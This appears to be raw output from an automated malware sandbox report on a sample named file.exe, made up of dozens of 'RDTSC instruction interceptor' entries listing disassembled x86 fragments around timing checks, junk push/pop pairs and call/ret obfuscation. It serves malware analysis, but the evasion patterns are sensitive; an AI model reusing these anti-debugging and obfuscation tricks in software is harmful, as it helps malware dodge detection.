Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4342 second address: DF4353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F286071A1BCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4353 second address: DF4361 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F28606BF768h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4361 second address: DF4365 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7E31 second address: DF7E46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF76Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7E46 second address: DF7E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB59D1 second address: DB59D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA05D second address: DFA069 instructions: 0x00000000 rdtsc 0x00000002 je 00007F286071A1BEh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA069 second address: DFA079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA079 second address: DFA07D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA07D second address: DFA081 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA081 second address: DFA089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00FE5 second address: E00FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jg 00007F28606BF76Ah 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC3D9 second address: DBC3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC3DD second address: DBC3E9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F28606BF766h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC3E9 second address: DBC3F0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC3F0 second address: DBC405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jbe 00007F28606BF78Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F28606BF766h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E006FE second address: E0070A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F286071A1B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E008E5 second address: E00915 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F28606BF766h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop edi 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F28606BF779h 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00915 second address: E0092D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F286071A1B6h 0x00000009 je 00007F286071A1B6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02D1E second address: E02D22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02D77 second address: E02D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02D7B second address: E02D85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02D85 second address: E02DCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 213DCC35h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F286071A1B8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov esi, dword ptr [ebp+122D376Ch] 0x0000002e push 7E33FF69h 0x00000033 push edi 0x00000034 jnp 00007F286071A1BCh 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03264 second address: E0326A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0326A second address: E0326E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03351 second address: E03358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03925 second address: E0392F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0392F second address: E03948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28606BF76Ch 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03948 second address: E0394C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0394C second address: E03956 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F28606BF766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03956 second address: E039A8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F286071A1BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F286071A1B8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 jne 00007F286071A1BCh 0x0000002b nop 0x0000002c jmp 00007F286071A1BCh 0x00000031 push eax 0x00000032 pushad 0x00000033 pushad 0x00000034 push ecx 0x00000035 pop ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E039A8 second address: E039B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03B3F second address: E03B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03B4C second address: E03B56 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F28606BF766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03CB5 second address: E03CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03DA4 second address: E03DA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04448 second address: E04452 instructions: 0x00000000 rdtsc 0x00000002 je 00007F286071A1BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0760E second address: E076C1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F28606BF76Ch 0x00000008 jp 00007F28606BF766h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 sub dword ptr [ebp+122D2497h], ebx 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F28606BF768h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 call 00007F28606BF779h 0x0000003a sub dword ptr [ebp+122D1DA3h], esi 0x00000040 pop edi 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push esi 0x00000046 call 00007F28606BF768h 0x0000004b pop esi 0x0000004c mov dword ptr [esp+04h], esi 0x00000050 add dword ptr [esp+04h], 0000001Dh 0x00000058 inc esi 0x00000059 push esi 0x0000005a ret 0x0000005b pop esi 0x0000005c ret 0x0000005d mov esi, dword ptr [ebp+122D36F0h] 0x00000063 xor dword ptr [ebp+122D2076h], ebx 0x00000069 xchg eax, ebx 0x0000006a push edi 0x0000006b jmp 00007F28606BF779h 0x00000070 pop edi 0x00000071 push eax 0x00000072 push esi 0x00000073 push eax 0x00000074 push edx 0x00000075 js 00007F28606BF766h 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04D21 second address: E04D25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E076C1 second address: E076C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04D25 second address: E04D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jc 00007F286071A1C0h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E080B0 second address: E080B5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08ACC second address: E08AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08AD1 second address: E08B5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF776h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F28606BF76Ah 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F28606BF768h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a jmp 00007F28606BF76Ah 0x0000002f push 00000000h 0x00000031 or dword ptr [ebp+122D304Dh], edx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007F28606BF768h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 0000001Ch 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 mov dword ptr [ebp+122D2F2Eh], ecx 0x00000059 xchg eax, ebx 0x0000005a push edi 0x0000005b jbe 00007F28606BF76Ch 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08860 second address: E08875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F286071A1BDh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E093A7 second address: E093AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08875 second address: E0887B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09663 second address: E09668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09668 second address: E09672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F286071A1B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A03C second address: E0A040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A040 second address: E0A04D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A04D second address: E0A052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0ABDE second address: E0ABEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jp 00007F286071A1B6h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0ABEF second address: E0AC36 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F28606BF768h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F28606BF768h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 xor di, 9181h 0x0000002d pop esi 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+12472351h], edx 0x00000036 xchg eax, ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 push esi 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0AC36 second address: E0AC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CC03 second address: E0CC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CC07 second address: E0CC0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B43D second address: E0B453 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF772h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CC0B second address: E0CC11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CC11 second address: E0CC1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F28606BF766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DBF4 second address: E0DBFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DBFA second address: E0DC4C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F28606BF76Bh 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 popad 0x00000016 nop 0x00000017 push 00000000h 0x00000019 mov di, C182h 0x0000001d push 00000000h 0x0000001f xor dword ptr [ebp+122D1A82h], edi 0x00000025 xchg eax, esi 0x00000026 push esi 0x00000027 jo 00007F28606BF768h 0x0000002d push eax 0x0000002e pop eax 0x0000002f pop esi 0x00000030 push eax 0x00000031 push eax 0x00000032 pushad 0x00000033 jmp 00007F28606BF777h 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0EB4B second address: E0EBEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007F286071A1B8h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 00000016h 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 adc di, 8677h 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebp 0x0000002a call 00007F286071A1B8h 0x0000002f pop ebp 0x00000030 mov dword ptr [esp+04h], ebp 0x00000034 add dword ptr [esp+04h], 00000016h 0x0000003c inc ebp 0x0000003d push ebp 0x0000003e ret 0x0000003f pop ebp 0x00000040 ret 0x00000041 jnl 00007F286071A1B9h 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push ebx 0x0000004c call 00007F286071A1B8h 0x00000051 pop ebx 0x00000052 mov dword ptr [esp+04h], ebx 0x00000056 add dword ptr [esp+04h], 0000001Dh 0x0000005e inc ebx 0x0000005f push ebx 0x00000060 ret 0x00000061 pop ebx 0x00000062 ret 0x00000063 je 00007F286071A1B9h 0x00000069 movzx ebx, ax 0x0000006c mov di, 03E0h 0x00000070 xchg eax, esi 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007F286071A1C6h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0EBEA second address: E0EBF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0EBF0 second address: E0EBF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DE29 second address: E0DE2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FBF7 second address: E0FBFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FBFB second address: E0FC01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0ED78 second address: E0EE11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F286071A1B8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 push dword ptr fs:[00000000h] 0x0000002a mov ebx, dword ptr [ebp+122D37B4h] 0x00000030 mov ebx, dword ptr [ebp+122D3560h] 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007F286071A1B8h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 0000001Ah 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 or ebx, 54F008A6h 0x0000005d mov eax, dword ptr [ebp+122D0E0Dh] 0x00000063 jmp 00007F286071A1C7h 0x00000068 push FFFFFFFFh 0x0000006a xor dword ptr [ebp+1246670Eh], esi 0x00000070 push eax 0x00000071 push edi 0x00000072 push eax 0x00000073 push edx 0x00000074 push edi 0x00000075 pop edi 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0EE11 second address: E0EE15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FDD5 second address: E0FDEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F286071A1B8h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e jc 00007F286071A1B6h 0x00000014 pop edi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FECA second address: E0FEE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF76Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e je 00007F28606BF766h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10DDD second address: E10DF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10DF5 second address: E10DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12072 second address: E12076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12076 second address: E12082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push esi 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12082 second address: E120F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D1B73h] 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov edi, 3138896Dh 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 jmp 00007F286071A1BBh 0x00000025 mov eax, dword ptr [ebp+122D12E1h] 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007F286071A1B8h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 mov dword ptr [ebp+122D31ACh], eax 0x0000004b push FFFFFFFFh 0x0000004d ja 00007F286071A1B9h 0x00000053 nop 0x00000054 jp 00007F286071A1CEh 0x0000005a push eax 0x0000005b push edx 0x0000005c push edi 0x0000005d pop edi 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E140CE second address: E1413B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F28606BF76Ah 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F28606BF768h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push esi 0x0000002b mov bh, BDh 0x0000002d pop edi 0x0000002e mov dword ptr [ebp+122D2E02h], ebx 0x00000034 push 00000000h 0x00000036 pushad 0x00000037 mov esi, 1E6E2E81h 0x0000003c ja 00007F28606BF76Ch 0x00000042 popad 0x00000043 push 00000000h 0x00000045 mov edi, ebx 0x00000047 xchg eax, esi 0x00000048 jmp 00007F28606BF76Ah 0x0000004d push eax 0x0000004e pushad 0x0000004f push ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
